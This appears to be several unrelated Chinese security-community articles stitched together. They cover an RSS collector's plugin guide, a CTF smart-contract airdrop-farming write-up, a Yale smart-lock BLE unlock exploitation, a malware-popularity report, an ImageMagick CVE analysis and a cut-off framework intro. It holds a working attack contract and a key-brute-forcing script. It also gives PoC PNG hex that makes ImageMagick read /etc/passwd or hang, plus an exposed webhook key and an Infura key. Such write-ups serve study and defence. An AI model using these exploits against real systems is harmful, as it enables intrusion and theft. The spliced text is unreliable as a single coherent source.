## 插件开发
插件格式：`{}_{}_plugin.format(name,type,)`
⚠️：插件一定要满足这个格式，否则是无法正常使用的，比如chy的插件名格式为chybeta_web_plugin，以此类推。
generat_plugin.py是用来以模板形式生成插件的,usage如下：
usage: generat_plugin.py [-h] -u URL -pn PLUGIN_NAME --type TYPE
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL Rss Url.
-pn PLUGIN_NAME, --plugin_name PLUGIN_NAME
Plugin name.
--type TYPE Plugin type.
这几个参数都是必须要传入的，url是rss的url，pn是插件的名称，type是插件的type，即web、re、pwn这些，使用这款插件生成工具，可以解决百分之90的rss源解析。
使用方式：
按照格式传入信息后，会在当前目录下生成插件：
如果输出如上，即打印出了rss内的文章信息，并且两个时间格式都是相同的，就可以直接用了，不过在用之前要删去这两行：
PS：我在模板中设置了rss的解析时间为10s，如果超出这个解析时间，默认定为解析失败，有需要的可以自行修改。
⚠️：插件生成工具不是万能的，有的插件并不支持我自定义好了的模板，比如某one插件。
他的rss是这样的：
里边没有我在模板中写好的updated参数，所以插件直接生成的脚本用不了，稍微改改才能用，最终运行效果如下。
另外，写插件也并不一定非要是解析RSS的插件，其他插件都是可以的，只要最终往mongodb中插入指定结构的数据即可。
下面演示如何把chybeta写成一个插件：
## 技术栈
* 插件式开发
* 协程
* 插件式开发
* 数据库管理
* 来源分类
## 已知问题
* 工具运行后无法结束，一直卡顿。
这是一个python3协程的bug，也不知道为什么会一直卡住，之前在群里问了许多师傅都没得到解决办法，遂在stackoverflow写了个帖子，目前还没人回复，我会一直跟进。
stackflow地址：[asyncio wait_for timeout exceptions but the program didn't
exit](https://stackoverflow.com/questions/59990159/asyncio-wait-for-timeout-exceptions-but-the-program-didnt-exit)。
短期解决办法：
* 手动关闭
* 使用crontab在后台运行程序
## 爬取下来的数据如何利用
这个是最简单的问题了，既然数据都有了，无非就是套各种的推送工具，如qq机器人、企业微信机器人...等等。
当然，如果你想写个前端来展示这些数据的话，也是很简单的，只需要学一天django就够了，奈何我前端实在太烂，之前想写个在线工具来用，后端一个下午解决，前端写了三天还没写好，最终他长这个样子：
综上所述，如果想实现一个推送demo，其实很简单，把数据每天定时代进去就好了，附上企业微信推送的方法。
先下载企业微信，在群聊里添加一个机器人，会得到一个api地址。
def push_wechat_group(content):
resp = requests.post("https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=9651234b-f90e-4064-80fd-0a69d6c1d867",
json={"msgtype": "markdown",
"markdown": {"content": content}})
if resp.json()["errno"] != 0:
raise ValueError("push wechat group failed, %s" % resp.text)
最后把数据展示成content，传给api就好了，如上⬆️。
以下是我第一版还没做分类时的推送效果：
## 写在最后
**开发不易，且嫖且珍惜。(开玩笑**
项目地址：<https://github.com/p1g3/Collect-Info-Research> | 社区文章 |
**作者：LoRexxar'@知道创宇404区块链安全研究团队
时间：2018年11月20日**
11.18号结束的LCTF2018中有一个很有趣的智能合约题目叫做ggbank，题目的原意是考察弱随机数问题，但在题目的设定上挺有意思的，加入了一个对地址的验证，导致弱随机的难度高了许多，反倒是薅羊毛更快乐了，下面就借这个题聊聊关于薅羊毛的实战操作。
### 分析
源代码
<https://ropsten.etherscan.io/address/0x7caa18d765e5b4c3bf0831137923841fe3e7258a#code>
首先我们照例来分析一下源代码
和之前我出的题风格一致，首先是发行了一种token，然后基于token的挑战代码，主要有几个点
modifier authenticate { //修饰器，在authenticate关键字做修饰器时，会执行该函数
require(checkfriend(msg.sender));_; // 对来源做checkfriend判断
}
跟着看checkfriend函数
function checkfriend(address _addr) internal pure returns (bool success) {
bytes20 addr = bytes20(_addr);
bytes20 id = hex"000000000000000000000000000000000007d7ec";
bytes20 gg = hex"00000000000000000000000000000000000fffff";
for (uint256 i = 0; i < 34; i++) { //逐渐对比最后5位
if (addr & gg == id) { // 当地址中包含7d7ec时可以继续
return true;
}
gg <<= 4;
id <<= 4;
}
return false;
}
checkfriend就是整个挑战最大的难点，也大幅度影响了思考的方向，这个稍后再谈。
function getAirdrop() public authenticate returns (bool success){
if (!initialized[msg.sender]) { //空投
initialized[msg.sender] = true;
balances[msg.sender] = _airdropAmount;
_totalSupply += _airdropAmount;
}
return true;
}
空投函数没看有什么太可说的，就是对每一个新用户都发一次空投。
然后就是goodluck函数
function goodluck() public payable authenticate returns (bool success) {
require(!locknumber[block.number]); //判断block.numbrt
require(balances[msg.sender]>=100); //余额大于100
balances[msg.sender]-=100; //每次调用要花费100token
uint random=uint(keccak256(abi.encodePacked(block.number))) % 100; //随机数
if(uint(keccak256(abi.encodePacked(msg.sender))) % 100 == random){ //随机数判断
balances[msg.sender]+=20000;
_totalSupply +=20000;
locknumber[block.number] = true;
}
return true;
}
然后只要余额大于200000就可以拿到flag。
其实代码特别简单，漏洞也不难，就是非常常见的弱随机数问题。
随机数的生成方式为
uint random=uint(keccak256(abi.encodePacked(block.number))) % 100;
另一个的生成方式为
uint(keccak256(abi.encodePacked(msg.sender))) % 100
其实非常简单，这两个数字都是已知的，msg.sender可以直接控制已知的地址，那么左值就是已知的，剩下的就是要等待一个右值出现，由于block.number是自增的，我们可以通过提前计算出一个block.number，然后写脚本监控这个值出现，提前开始发起交易抢打包，就ok了。具体我就不详细提了。可以看看出题人的wp。
<https://github.com/LCTF/LCTF2018/tree/master/Writeup/gg%20bank>
但问题就在于，这种操作要等block.number出现，而且还要抢打包，毕竟还是不稳定的。所以在做题的时候我们关注到另一条路， **薅羊毛**
，这里重点说说这个。
### 合约薅羊毛
在想到原来的思路过于复杂之后，我就顺理成章的想到薅羊毛这条路，然后第一反正就是直接通过合约建合约的方式来碰这个概率。
思路来自于最早发现的薅羊毛合约<https://paper.seebug.org/646/>
这个合约有几个很精巧的点。
首先我们需要有基本的概念， **在以太坊上发起交易是需要支付gas的**
，如果我们不通过合约来交易，那么这笔gas就必须先转账过去eth，然后再发起交易，整个过程困难了好几倍不止。
然后就有了新的问题，在合约中新建合约在EVM中，是属于高消费的操作之一，
**在以太坊中，每一次交易都会打包进一个区块中，而每一个区块都有gas消费的上限，如果超过了上限，就会爆gas out，然后交易回滚，交易就失败了。**
contract attack{
address target = 0x7caa18D765e5B4c3BF0831137923841FE3e7258a;
function checkfriend(address _addr) internal pure returns (bool success) {
bytes20 addr = bytes20(_addr);
bytes20 id = hex"000000000000000000000000000000000007d7ec";
bytes20 gg = hex"00000000000000000000000000000000000fffff";
for (uint256 i = 0; i < 34; i++) {
if (addr & gg == id) {
return true;
}
gg <<= 4;
id <<= 4;
}
return false;
}
function attack(){
// getairdrop
if(checkfriend(address(this))){
target.call(bytes4(keccak256('getAirdrop()')));
target.call(bytes4(keccak256("transfer(address,uint256)")),0xACB7a6Dc0215cFE38e7e22e3F06121D2a1C42f6C, 1000);
}
}
}
contract doit{
function doit() payable {
}
function attack_starta() public {
for(int i=0;i<=50;i++){
new attack();
}
}
function () payable {
}
}
上述的poc中，有一个很特别的点就是我加入了checkfriend的判断，因为我发现循环中如果新建合约的函数调用revert会导致整个交易报错，所以我干脆把整个判断放上来，在判断后再发起交易。
可问题来了，我尝试跑了几波之后发现完全不行，我忽略了一个问题。
让我们回到checkfriend
function checkfriend(address _addr) internal pure returns (bool success) {
bytes20 addr = bytes20(_addr);
bytes20 id = hex"000000000000000000000000000000000007d7ec";
bytes20 gg = hex"00000000000000000000000000000000000fffff";
for (uint256 i = 0; i < 34; i++) {
if (addr & gg == id) {
return true;
}
gg <<= 4;
id <<= 4;
}
return false;
}
checkfriend只接受地址中带有7d7ec的地址交易，光是这几个字母出现的概率就只有`1/36*1/36*1/36*1/36*1/36`这个几率在每次随机生成50个合约上计算的话，概率就太小了。
必须要找新的办法来解决才行。
### python脚本解决方案
既然在合约上没办法，那么我直接换用python写脚本来解决。
这个挑战最大的问题就在于checkfriend这里，那么我们直接换一种思路，如果我们去爆破私钥去恢复地址，是不是更有效一点儿？
其实爆破的方式非常多，但有的恢复特别慢，也不知道瓶颈在哪，在换了几种方式之后呢，我终于找到了一个特别快的恢复方式。
from ethereum.utils import privtoaddr, encode_hex
for i in range(1000000,100000000):
private_key = "%064d" % i
address = "0x" + encode_hex(privtoaddr(private_key))
我们拿到了地址之后就简单了，首先先转0.01eth给它，然后用私钥发起交易，获得空投、转账回来。
需要注意的是，转账之后需要先等到转账这个交易打包成功，之后才能继续下一步交易，需要多设置一步等待。
有个更快的方案是，先跑出200个地址，然后再批量转账，最后直接跑起来，不过想了一下感觉其实差不太多，因为整个脚本跑下来也就不到半小时，速度还是很可观的。
脚本如下
import ecdsa
import sha3
from binascii import hexlify, unhexlify
from ethereum.utils import privtoaddr, encode_hex
from web3 import Web3
import os
import traceback
import time
my_ipc = Web3.HTTPProvider("https://ropsten.infura.io/v3/6528deebaeba45f8a0d005b570bef47d")
assert my_ipc.isConnected()
w3 = Web3(my_ipc)
target = "0x7caa18D765e5B4c3BF0831137923841FE3e7258a"
ggbank = [
{
"constant": True,
"inputs": [],
"name": "name",
"outputs": [
{
"name": "",
"type": "string"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": True,
"inputs": [],
"name": "totalSupply",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": True,
"inputs": [
{
"name": "",
"type": "address"
}
],
"name": "balances",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": True,
"inputs": [],
"name": "INITIAL_SUPPLY",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": True,
"inputs": [],
"name": "decimals",
"outputs": [
{
"name": "",
"type": "uint8"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": True,
"inputs": [],
"name": "_totalSupply",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": True,
"inputs": [],
"name": "_airdropAmount",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": True,
"inputs": [
{
"name": "owner",
"type": "address"
}
],
"name": "balanceOf",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": True,
"inputs": [],
"name": "owner",
"outputs": [
{
"name": "",
"type": "address"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": True,
"inputs": [],
"name": "symbol",
"outputs": [
{
"name": "",
"type": "string"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": False,
"inputs": [
{
"name": "_to",
"type": "address"
},
{
"name": "_value",
"type": "uint256"
}
],
"name": "transfer",
"outputs": [
{
"name": "success",
"type": "bool"
}
],
"payable": False,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": False,
"inputs": [
{
"name": "b64email",
"type": "string"
}
],
"name": "PayForFlag",
"outputs": [
{
"name": "success",
"type": "bool"
}
],
"payable": True,
"stateMutability": "payable",
"type": "function"
},
{
"constant": False,
"inputs": [],
"name": "getAirdrop",
"outputs": [
{
"name": "success",
"type": "bool"
}
],
"payable": False,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": False,
"inputs": [],
"name": "goodluck",
"outputs": [
{
"name": "success",
"type": "bool"
}
],
"payable": True,
"stateMutability": "payable",
"type": "function"
},
{
"inputs": [],
"payable": False,
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"anonymous": False,
"inputs": [
{
"indexed": False,
"name": "b64email",
"type": "string"
},
{
"indexed": False,
"name": "back",
"type": "string"
}
],
"name": "GetFlag",
"type": "event"
}
]
mytarget = "0xACB7a6Dc0215cFE38e7e22e3F06121D2a1C42f6C"
mytarget_private_key = 这是私钥
transaction_dict = {'chainId': 3,
'from':Web3.toChecksumAddress(mytarget),
'to':'', # empty address for deploying a new contract
'gasPrice':10000000000,
'gas':200000,
'nonce': None,
'value':10000000000000000,
'data':""}
ggbank_ins = w3.eth.contract(abi=ggbank)
ggbank_ins = ggbank_ins(address=Web3.toChecksumAddress(target))
nonce = 0
def transfer(address, private_key):
print(address)
global nonce
# 发钱
if not nonce:
nonce = w3.eth.getTransactionCount(Web3.toChecksumAddress(mytarget))
transaction_dict['nonce'] = nonce
transaction_dict['to'] = Web3.toChecksumAddress(address)
signed = w3.eth.account.signTransaction(transaction_dict, mytarget_private_key)
result = w3.eth.sendRawTransaction(signed.rawTransaction)
nonce +=1
while 1:
if w3.eth.getBalance(Web3.toChecksumAddress(address)) >0:
break
time.sleep(1)
# 空投
nonce2 = w3.eth.getTransactionCount(Web3.toChecksumAddress(address))
transaction2 = ggbank_ins.functions.getAirdrop().buildTransaction({'chainId': 3, 'gas': 200000, 'nonce': nonce2, 'gasPrice': w3.toWei('1', 'gwei')})
print(transaction2)
signed2 = w3.eth.account.signTransaction(transaction2, private_key)
result2 = w3.eth.sendRawTransaction(signed2.rawTransaction)
# 转账
nonce2+=1
transaction3 = ggbank_ins.functions.transfer(mytarget, int(1000)).buildTransaction({'chainId': 3, 'gas': 200000, 'nonce': nonce2, 'gasPrice': w3.toWei('1', 'gwei')})
print(transaction3)
signed3 = w3.eth.account.signTransaction(transaction3, private_key)
result3 = w3.eth.sendRawTransaction(signed3.rawTransaction)
if __name__ == '__main__':
j = 0
for i in range(1000000,100000000):
private_key = "%064d" % i
# address = create_address(private_key)
# print(address)
# if "7d7ec" in address:
# print(address)
address = "0x" + encode_hex(privtoaddr(private_key))
if "7d7ec" in address:
private_key = unhexlify(private_key)
print(j)
try:
transfer(address, private_key)
except:
traceback.print_exc()
print("error:"+str(j))
j+=1
最终效果显著
* * * | 社区文章 |
**作者：Light & Yimi Hu @ PwnMonkeyLabs
原文链接：<https://mp.weixin.qq.com/s/16FE24Oi4FMkhNC5en42dg>**
## 1.简介
上一篇文章的分析中，我们发现Yale智能门锁的通信中存在两个问题，本篇文章将分为两个部分描述如何利用这两个问题：
a. 嗅探BLE通信获取productInfo；
b. 使用获取的productInfo控制门锁。
## 2.嗅探BLE通信，获取productInfo
Yale门锁的BLE通信没有加密，所以我们通过嗅探的方式可以直接获取Authentication Request和Authentication
Response，利用这两个数据包的Payload做减法运算即可得到productInfo。
### **2.1 嗅探通信**
嗅探BLE通信需要有专用的硬件工具，我们使用的是CC2540 Dongle，配合TI的Packet Sniffer软件，如图2-1所示。
图2-1 CC2540 Dongle+Packet Sniffer软件
Dongle直接接到电脑的USB接口即可使用，Packet Sniffer软件可以对Dongle进行配置，并显示嗅探到的BLE消息。
我们在第一篇文章中介绍过，Master在Scanner状态下，会不断扫描并接收Slave在Advertiser状态下发出的广播包，广播包的发送和接收都是在3个广播信道上进行的，Master想要与某个扫描到的Slave建立连接时会进入Initiator状态并向Slave发起连接请求，双方建立连接后会在37个通信信道上以一定的规律进行调频通信。
由于连接建立后，双方以跳频的方式进行通信，因此我们只能在Master和Slave建立连接时，也就是Master在Initiator状态下发出CONNCET_REQ数据包时，就开始跟踪双方的通信，才有可能嗅探到所有通信内容。
因此，Dongle的工作原理如图2-2所示，整个嗅探流程可以分为三个步骤：
a. 启动完成后，Dongle工作在某一个广播信道上，会嗅探所有该信道上的广播包；
b.
当探测到CONNECT_REQ数据包时，说明该信道上有Master和Slave准备建立连接，此时Dongle会解析CONNECT_REQ数据包的内容，获取主从设备的信息及双方第一次跳频通信的通信信道；
c. 此后，Dongle只会过滤步骤b中主从设备之间的通信，并跟随双方的跳频，这样双方所有的通信都被嗅探到了。
图2-2 Dongle工作原理示意图
一个Dongle只能监听一个广播信道的通信，而通信双方可能会在3个广播信道中随机挑选一个建立通信，因此如果只有一个Dongle时，可能需要多次尝试才能获得需要的数据，有多个Dongle时则可以分别将它们配置为监听不同的广播信道，选择Dongle并配置监听信道的方式如图2-3所示。
图2-3 选择并配置Dongle
介绍完嗅探工具，我们就可以尝试嗅探通信了。
嗅探的操作非常简单，配置好Dongle后，点击Packet Sniffer中的开始嗅探按钮，就可以看到Dongle接收到的所有广播包，如图2-4所示。
图2-4 嗅探到的广播包
开始嗅探后，我们在Dongle附近尝试在app里连接门锁，如果手机和门锁恰好是在Dongle监听的广播信道上建立连接，那么就可以抓到后续手机和门锁之间所有的BLE通信，如图2-5所示。
图2-5 手机与门锁建立通信
图2-5中，黄色数据包之后，手机和门锁就已经开始跳频通信了，可以看到Channel字段每次通信都会变化，而建立通信前的最后一个广播包的类型就是CONNECT_REQ，Dongle是通过这个数据包来跟踪双方随后的跳频通信的。
正如上文所提到的，Dongle一次只能监听一个广播信道，所以我们可能需要多次重复才能嗅探到手机和门锁的通信。
### **2.2 数据包分析**
嗅探到通信之后，我们只要找到Authentication Request和Authentication
Response即可，要定位这两个数据包，则需要知道数据包的特征和结构。
回想上一篇文章，在生成Payload并发送Authentication
Response之前，调用过一个makeACKFrame的函数，从函数名看，这个函数的作用是将Payload封装成ACK Frame，我们就从这里着手分析。
首先我们看一下调用makeACKFrame的地方，如图2-6所示。
图2-6 函数调用处
调用makeACKFrame函数时传入了4个参数，其中v2、v3分别是已经初始化好的变量，所以Authentication
Response中应该有两个固定内容的字节，v4显然是个累加的计数器，最后一个参数arg7，我们上一篇文章中就提到了，这个参数是encodeCounter函数的返回值，也就是Authentication
Response的Payload。
我们在上一篇文章中获取到的日志，如图2-7，send
72ACK的内容，起始字节是0x72和0xA1，而图2-6中，参数v2和v3分别包含了HexString(72)和HexString(A1)。所以，我们可以推断Authentication
Reponse起始字节是固定的0x72A1，这一点可以作为数据包的特征。帮助我们在嗅探到的通信中寻找Authentication Response。
图2-7 app的日志
makeACKFrame的结果在v1中，打印Log时调用了v1.toString()，这个函数如图2-8所示。
图2-8 FrameModel类的toString函数
在toString函数中我们能直观的看出Authentication Response的数据包结构：
a. 开始的两个字节是event和source；
b. 第3个字节表示数据包的序号，第4个字节则是长度，我们暂时还不清楚这是数据包的长度还是Payload的长度；
c. 第5字节开始是数据包的Payload；
d. 最后一个字节是校验，校验算法暂时未知。
通过数据包的特征，我们在嗅探到的通信中定位到图2-9了这样一组数据包。
图2-9 嗅探到的BLE通信
根据起始字节是0x72A1这一特征，第二个数据包应该就是Authentication Response，那么第一个数据包应该是Authentication
Request，Response数据包的结构分析如图2-10。
图2-10 数据包结构
按照类似的方式取出Request数据包的Payload，按照上一篇文章的分析，只需要将Response的Request两个数据包的Payload做差即可得到这个门锁的productInfo，做差过程如图2-11。
图2-11 计算productInfo
我们在已绑定了门锁的手机中查看app的数据库，其中显示了已绑定门锁的productInfo，如图2-12所示。
图2-12 数据库中的productInfo
对比图2-11我们计算出来的结果，和2-12中数据库里的product_info字段数值，二者前6字节是相同的，上一篇分析中在分析productInfo变量的使用时，其中也只有6个字节参与了计算，所以我们推测后两个字节是无效字节，下一章的操作中可以看到，这两个字节置0也能够开启门锁。
## 3.使用计算得到的productInfo开启门锁
前文提到app数据库中有product_info字段，而app在构造Authentication
Response时直接使用了这个字段的数值，那么如果我们在未绑定门锁的手机上，跳过门锁绑定步骤，直接将门锁的相关信息写入到app的数据库中会出现什么情况呢？接下来我们对这种情况进行实验。
修改数据库最方便的办法就是，通过ADB将app中的数据库（位于/data/data/com.irevo.blepack/databases目录下）拉取到电脑上，在电脑上修改完成后再推送回app。
要操作/data目录下指定app的文件，需要我们拥有root权限或者使用run-as指令，在未root的手机中，执行run-as +
包名，就可以直接以root权限进入该应用的沙盒中查看数据库、xml、各种信息文件等内容。使用run-as指令，需要指定的应用处于允许debug的模式，所以我们在上一篇文章中添加Log代码时，也在AndroidManifest.xml文件中添加了Android:debuggable
= true的标签。
在未绑定门锁的手机中，数据库应该是空的。空数据库的填写方式如图3-1所示。除了product_info外，还有一个module_addr字段需要注意，这个字段应该填写门锁的蓝牙地址，这个地址可以在门锁附近，使用nRF
Connect扫描周围设备获取。
图3-1 app数据库填写方式
数据库填写完成后，使用ADB指令推送回手机，即可使用该手机控制门锁了。如图3-2所示，手机最初并没有绑定门锁，在我们将数据库推送进手机后，重启app，会发现手机开始尝试与门锁建立连接，稍等片刻连接建立之后，就可以直接用这个手机打开门锁了。
图3-2 用未绑定门锁的手机打开门锁
## 4.总结
我们用了两篇文章记录了Yale门锁的漏洞分析及利用过程。
首先我们从Yale Bluetooth
Key这款app的Log着手，定位到了app中的关键代码，随后通过对关键代码的分析，发现了门锁与手机之间的身份认证环节存在漏洞，最终通过嗅探门锁与手机之间的BLE通信，我们利用身份认证的漏洞在未绑定门锁的手机上打开了门锁。
这次对智能门锁的安全测试仍然是从BLE入手的，重点分析的是手机端的app。而智能门锁的开锁方式不只有蓝牙这一种，之后我们会和大家分享更多的内容，大家如果有想要讨论或者分享的事情，欢迎在公众号后台留言，或发邮件到[email protected]。
* * * | 社区文章 |
# 揭秘地下黑客论坛最流行的恶意软件和黑客工具
##### 译文声明
本文是翻译文章，文章原作者 安全分析与研究，文章来源：安全分析与研究
原文地址：<https://mp.weixin.qq.com/s/-aLUoiECZlafuvM-cp48xQ>
译文仅供参考，具体内容表达以及含义原文为准。
通过对Recorded Future平台索引的所有地下黑客论坛分析2018年5月至2019年5月期间超过390万个帖子，Insikt
Group确定了地下黑客论坛中引用的顶级恶意软件变种，Insikt
Group还试图找到与这些论坛上更多恶意软件引用相关的真实事件，以及在不同语言的论坛中宣传的恶意软件及工具的差异，以查看是否存在任何差异
地下黑客论坛是网络犯罪分子宣传各种恶意软件变种和黑客工具的市场，Insikt
Group通过分析从2018年5月至2019年5月期间各种地址黑客论坛超过390万个帖子，确定了一些与实际攻击相关的最流行的顶级恶意软件变种
大多数恶意软件都是包含多种语言版本的，包括公开可用的两用工具，开源恶意软件或破解的恶意软件，而且一些恶意软件系统已有三年历史
Insikt Group还了解到地下黑客论坛使用不同语言，如英语、中文和俄语，并专注于不同的恶意软件，包含不同的恶意软件类别和攻击媒介等
在地下黑客论坛上打广告，排名前十的恶意软件类别包括MinerGate和Imminent
Monitor等两用工具，还包括njRat，AhMyth，Mirai和超过三年的恶意软件Gh0st RAT开源恶意软件
根据该报告显示，不同语言的地下论坛关注不同的目标和攻击媒介，例如，讲中文和英语的地下论坛更多地关注Android设备，而非俄罗斯同行，中文地下黑客论坛的十大恶意软件包括三个Android木马：SpyNote，AhMyth和DroidJack，英语地下黑客论坛包括这三个中的两个：SpyNote和DroidJack，这与俄语组织形成鲜明对比，后者的前十名中没有任何移动恶意软件
论坛中使用中文提到的十大恶意软件，如下所示：
论坛使用英语提到的十大恶意软件
论坛使用俄语提到的十大恶意软件
我们发现了多个恶意软件，这些恶意软件在多个语言组中进行了广泛讨论，包括以下几个：
1.njRat，2012年底创建的Windows RAT
，其源代码可在某些论坛上在线获取，这种RAT在英语，阿拉伯语，西班牙语，俄语，中文（繁体）和波斯语帖子中很受欢迎
2.SpyNote，一种开放式基于Android的RAT，包含键盘记录和GPS功能，此应用程序在2016年开始的恶意软件论坛中找到，这种RAT在英语，中文（简体），中文（繁体），西班牙语，日语和阿拉伯语帖子中很受欢迎
3.GandCrab是一个以同名作家闻名的勒索软件，于2018年1月初发现，GandCrab的主要供应商于2019年6月退休， FBI
于2019年7月发布了版本4,5,5.04,5.1 和5.2
的主解密密钥。这些勒索软件在俄语，中文（简体），西班牙语，波斯语和阿拉伯语帖子中很受欢迎4.DroidJack是一款Android
RAT，于2014年创建，其官方网站以210美元的价格销售终身许可证，但在地下论坛上使用破解版本便宜得多。这种RAT在中文（简体），中文（繁体），英文和阿拉伯文帖子中很受欢迎
从上面可以发现最受欢迎的恶意软件为：勒索软件和远控RTA软件为主，主要的原因我想是因为：勒索软件能带来暴利，远控RTA主要用于APT攻击使用
同时发现njRAT在英语论坛和俄语论坛中都很受欢迎，该RAT以其隐秘功能而闻名，它用于在后台静默运行，并且还能够禁用防病毒程序和其他Windows安全功能
Insikt
Group还确定了从2018年5月到2019年5月提到的顶级恶意软件类别，其中最主要的类别是：Ransomware、Cypter、Trigan、WebShell，如下所示：
顶级恶意软件HASH值 ，如下所示：
顶级恶意软件及其交付机制
详细的分析报告链接：
<https://www.recordedfuture.com/measuring-malware-popularity/>
报告下载链接：
<https://go.recordedfuture.com/hubfs/reports/cta-2019-0724.pdf>
有兴趣的朋友可以下载研究一下
这份报告虽然是统计过去一年地下黑客论坛中的恶意软件，但可以帮助安全研究人员更深入地了解恶意软件供应商和购买者的习惯，以及黑产团伙是如何通过地下黑客论坛上的特定活动使某些恶意软件比其他恶意软件更成功，讨论最多的恶意软件有可能就是未来一两年攻击最多的样本，这些数据都具有很高的参考价值
追踪研究各种恶意软件一直是安全研究的重点，做安全这么多年我一直从事这方面的分析与研究工作，我也很喜欢研究各种不同的恶意样本，每次拿到新的样本，都有一种很想去研究一番的冲动，正如我前面的文章提到的，研究恶意软件可以得到很多有价值的信息，可以从样本的角度去了解一些黑产团队的活动，从而弄清整个黑色产业链是如何运作的，最近一两年针对企业的勒索病毒越来越多，新的勒索病毒家族不断涌现，背后还有多少黑产团伙正在开发新的勒索软件，以及他们打算如何运营这些恶意软件，以获取最大的利益？我想未来一定会有更多的恶意软件出现，会不断有新的变种产生，安全就是一个一直对抗的过程，基于无文件攻击技术也越来越成熟，成为了恶意软件攻击链中的重在一个环节，勒索软件也是最近一年地下黑客论坛最受欢迎的恶意软件，我们需要持续关注这些恶意软件的动态，及时做好相应的防御措施
本文转自：[安全分析与研究](https://mp.weixin.qq.com/s/-aLUoiECZlafuvM-cp48xQ) | 社区文章 |
##### 1.ImageMagick介绍
ImageMagick是一个免费的开源软件套件，用于显示、转换和编辑图像文件。它可以读取和写入超过200种图像文件格式，因此在全球范围内的网站中很常见，因为需要处理用户的个人资料、目录等图片。
在最近的 APT 攻击分析中，Ocelot 团队发现 ImageMagick 被用于处理基于 Drupal
的网站中的图像，因此该团队决定尝试在此组件中寻找新的漏洞，并继续下载当时最新版本的
ImageMagick，7.1.0-49。结果，该团队发现了两个0day漏洞：
* CVE-2022-44267：ImageMagick 7.1.0-49 存在拒绝服务（DoS）漏洞。当它解析 PNG 图像（例如，用于调整大小）时，convert 进程可能会等待 stdin 输入。
* CVE-2022-44268：ImageMagick 7.1.0-49 存在信息泄露漏洞。当它解析 PNG 图像（例如，用于调整大小）时，生成的图像中可能会嵌入任意本地文件的内容（如果 ImageMagick 二进制文件有读取权限）。
##### 2.如何触发漏洞利用？
攻击者只要将恶意图像上传到使用 ImageMagick 的网站就可以远程利用上述漏洞。
目前ImageMagick已经发布了修复补丁：<https://github.com/ImageMagick/ImageMagick/commit/05673e63c919e61ffa1107804d1138c46547a475>
##### 3.漏洞分析
**CVE-2022-44267:拒绝服务攻击**
ImageMagick版本: 7.1.0-49
当 ImageMagick 解析 PNG 文件时，例如在接收图像时的调整大小操作中，转换过程可能会等待 stdin
输入，从而导致拒绝服务，因为该进程将无法处理其他图像。
恶意行为者可以制作 PNG 或使用现有 PNG 并添加文本块类型（例如
tEXt）。这些类型具有关键字和文本字符串。如果关键字是字符串“profile”（不带引号），则 ImageMagick
会将文本字符串解释为文件名，并将内容加载为原始配置文件。如果指定的文件名为“-”（单破折号），ImageMagick
将尝试从标准输入中读取内容，这可能会使进程永远等待。
漏洞利用路径分析：
* 上传图片触发ImageMagick命令，例如“convert”
* ReadOnePNGImage (coders/png.c:2164)
* 读取“tEXt”块：
* SetImageProfile (MagickCore/property.c:4360):
* 判断property是否等于 “profile”:
* 在4720行将字符串复制为文件名，并且在4722行保存：
* FileToStringInfo函数将内容保存到string_info->datum (MagickCore/string.c:1005):
* FileToBlob (MagickCore/blob.c:1396):给标准输入一个文件名为“-”，导致进程永远等待输入：
* PoC: 恶意的PNG文件十六进制数据:
89504E470D0A1A0A0000000D49484452000000010000000108000000003A7E9B550000000B49444154789C63F8FF1F00030001FFFC25DC510000000A7445587470726F66696C65002D00600C56A10000000049454E44AE426082
* 跟踪恶意文件：OCELOT_output.png：
* 一直等待输入从而实现拒绝服务攻击：
**CVE-2022-44268:任意文件读取**
ImageMagick: 7.1.0-49
当 ImageMagick 解析 PNG 文件时，例如在调整大小操作中，生成的图像可能嵌入了来自网站的任意文件的内容（如果 magick
二进制文件有权读取它）。
恶意行为者可以制作 PNG 或使用现有 PNG 并添加文本块类型（例如
tEXt）。这些类型具有关键字和文本字符串。如果关键字是字符串“profile”（不带引号），则 ImageMagick
会将文本字符串解释为文件名，并将内容加载为原始配置文件，然后攻击者可以下载含有被读取文件内容的图片。
漏洞利用路径分析：
* 上传一个图片去触发ImgMagick的命令，例如"convert"。
* ReadOnePNGImage (coders/png.c:2164):
– Reading tEXt chunk:
* SetImageProfile (MagickCore/property.c:4360)：
* 判断property变量是否等于 “profile”：
* 在4720行将字符串复制为文件名，并且在4722行保存：
* FileToStringInfo函数将内容保存到string_info->datum (MagickCore/string.c:1005):
* 如果提供了有效（且可访问）的文件名，则文件内容被FileToStringInfo读取并返回，后面会调用SetImageProperty函数将之前读取的文件内容二进制储存到新生成的图片中：
攻击者下载新生成的包含有网站文件内容的图片即可完成任意文件读取。
* PoC: 使用恶意图片读取 “/etc/passwd”文件:
图片十六进制：
89504E470D0A1A0A0000000D4948445200000001000000010100000000376EF9240000000A49444154789C636800000082008177CD72B6000000147445587470726F66696C65002F6574632F70617373776400B7F46D9C0000000049454E44AE426082
验证：
* 网站中"/etc/passwd"文件的内容已经通过profile->datum变量储存在了图片里面：
从图片文件中提取到十六进制的"/etc/passwd"内容：
从图片中提取到的网站"/etc/passwd"文件中的内容：
原文链接地址：<https://www.metabaseq.com/imagemagick-zero-days/> | 社区文章 |
**作者：fenix@知道创宇404实验室
日期：2022年11月15日**
## 前言
Pocsuite3 是由知道创宇 404 实验室打造的一款基于 GPLv2 许可证开源的远程漏洞测试框架【1】。框架本身使用 Python3 开发，集成了
